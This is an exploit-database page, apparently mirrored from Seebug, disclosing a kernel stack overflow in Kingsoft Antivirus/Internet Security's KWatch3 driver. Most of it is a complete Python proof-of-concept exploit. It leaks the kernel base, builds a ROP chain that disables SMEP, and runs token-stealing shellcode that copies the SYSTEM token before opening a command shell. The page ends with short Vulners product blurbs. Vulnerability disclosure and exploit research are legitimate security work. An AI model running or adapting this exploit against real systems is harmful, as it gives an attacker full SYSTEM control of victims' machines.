Lucene search
K

Kingsoft Antivirus/Internet Security 9+ Privilege Escalation

🗓️ 27 Dec 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 41 Views

Kingsoft Antivirus/Internet Security 9+ Privilege Escalation vulnerability allows local attackers to escalate privileges by exploiting a kernel stack buffer overflow in the kavfm.sys or KWatch3.sys kernel driver, enabling them to execute arbitrary code under the kernel context. The vendor has been unresponsive to the reported vulnerabilities

Code

                                                import sys
from ctypes import *
from time import sleep
from ctypes.wintypes import *
import struct
import os
from random import choice

kernel32 = windll.kernel32
ntdll = windll.ntdll

MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0

def get_ioctl():
    return choice([0x80030004, 0x80030008])
    
def alloc_shellcode(base, input_size):
    """ 
    allocates some shellcode
    """
    print "(+) allocating shellcode @ 0x%x" % base
    baseadd = c_int(base)
    size    = c_int(input_size)

    # --[ setup]
    input  = struct.pack("<I", 0x000506f8)      # bypass smep

    # --[ setup]
    input += "\x60"                             # pushad
    input += "\x64\xa1\x24\x01\x00\x00"         # mov eax, fs:[KTHREAD_OFFSET]

    # I have to do it like this because windows is a little special
    # this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80.
    input += "\x8d\x40\x70"                     # lea eax, [eax+0x70];
    input += "\x8b\x40\x10"                     # mov eax, [eax+0x10];
    input += "\x89\xc1"                         # mov ecx, eax (Current _EPROCESS structure)

    # win 10 rs2 x86 TOKEN_OFFSET = 0xfc
    # win 07 sp1 x86 TOKEN_OFFSET = 0xf8
    input += "\x8B\x98\xfc\x00\x00\x00"         # mov ebx, [eax + TOKEN_OFFSET]

    # --[ copy system PID token]
    input += "\xba\x04\x00\x00\x00"             # mov edx, 4 (SYSTEM PID)
    input += "\x8b\x80\xb8\x00\x00\x00"         # mov eax, [eax + FLINK_OFFSET] <-|
    input += "\x2d\xb8\x00\x00\x00"             # sub eax, FLINK_OFFSET           |
    input += "\x39\x90\xb4\x00\x00\x00"         # cmp [eax + PID_OFFSET], edx     |
    input += "\x75\xed"                         # jnz                           ->|

    # win 10 rs2 x86 TOKEN_OFFSET = 0xfc
    # win 07 sp1 x86 TOKEN_OFFSET = 0xf8
    input += "\x8b\x90\xfc\x00\x00\x00"         # mov edx, [eax + TOKEN_OFFSET]
    input += "\x89\x91\xfc\x00\x00\x00"         # mov [ecx + TOKEN_OFFSET], edx

    # --[ recover]
    input += "\x61"                             # popad
    input += "\x83\xc4\x0c"                     # adjust the stack by 0xc
    input += "\x31\xc0"                         # return NTSTATUS = STATUS_SUCCESS
    input += "\xc3"                             # ret

    # filler
    input += "\x43" * (input_size-len(input))
    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
                                              POINTER(c_int), c_int, c_int]
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, 
                                             byref(size), 
                                             MEM_RESERVE|MEM_COMMIT,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
        return False
    written = c_ulong()
    write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
    if write == 0:
        print "(-) Error while writing our input buffer memory: %s" % write
        return False
    return True

def alloc(base, input_size, ip):
    baseadd   = c_int(base)
    size = c_int(input_size)
    input = "\x44" * 0x40                       # offset to ip

    # start our rop chain
    input += struct.pack("<I", nt + 0x51976f)   # pop ecx; ret
    input += struct.pack("<I", 0x75757575)      # junk
    input += struct.pack("<I", 0x76767676)      # junk
    input += struct.pack("<I", ip)              # load 0x506f8
    input += struct.pack("<I", nt + 0x04664f)   # mov eax, [ecx]; ret
    input += struct.pack("<I", nt + 0x22f2da)   # mov cr4,eax; ret
    input += struct.pack("<I", ip + 0x4)        # &shellcode

    # filler
    input += "\x43" * (input_size-len(input))

    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
                                              POINTER(c_int), c_int, c_int]
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, 
                                             byref(size), 
                                             MEM_RESERVE|MEM_COMMIT,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
        sys.exit()
    written = c_ulong()
    write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
    if write == 0:
        print "(-) error while writing our input buffer memory: %s" % write
        sys.exit()

def we_can_trigger_overflow():
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    IOCTL_VULN    = get_ioctl()
    DEVICE_NAME   = "\\\\.\\KWatch3"
    dwReturn      = c_ulong()
    driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
    ip            = 0x24242424
    
    inputbuffer   = 0x41414141
    inputbuffer_size = 0x60
    outputbuffer_size = 0x1000
    outputbuffer      = 0x20000000
    
    alloc(inputbuffer, inputbuffer_size, ip)
    alloc_shellcode(ip, 0x100)
    alloc(outputbuffer, 0x100, ip)

    IoStatusBlock = c_ulong()
    if driver_handle:
        print "(+) sending stack overflow..."
        dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL_VULN,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
        return True
    return False

def we_can_leak_the_base():
    """
    Get kernel base address.
    This function uses psapi!EnumDeviceDrivers which is only callable
    from a non-restricted caller (medium integrity or higher). Also the
    assumption is made that the kernel is the first array element returned.
    """
    global nt
    print "(+) enumerating kernel base address..."
    
    array = c_ulonglong * 1024
    lpImageBase = array()
    szDriver    = array()
    cb = sizeof(lpImageBase)
    lpcbNeeded = c_long()

    res = windll.psapi.EnumDeviceDrivers(byref(lpImageBase),
                                         sizeof(lpImageBase),
                                         byref(lpcbNeeded))
    if not res:
        print "(-) unable to get kernel base: " + FormatError()
        sys.exit(-1)

    # nt is the first one
    nt = lpImageBase[0] & 0x00000000ffffffff
    return True

def main():
    print "\n\t--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]"
    print "\t               Steven Seeley (mr_me) of Source Incite\r\n"
    if we_can_leak_the_base():
        print "(+) found nt base at 0x%08x" % (nt)
        if we_can_trigger_overflow():
            os.system("cmd.exe")
    else:
        print "(-) it appears that kingsoft Internet Security is not installed!"
if __name__ == '__main__':
    main()
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation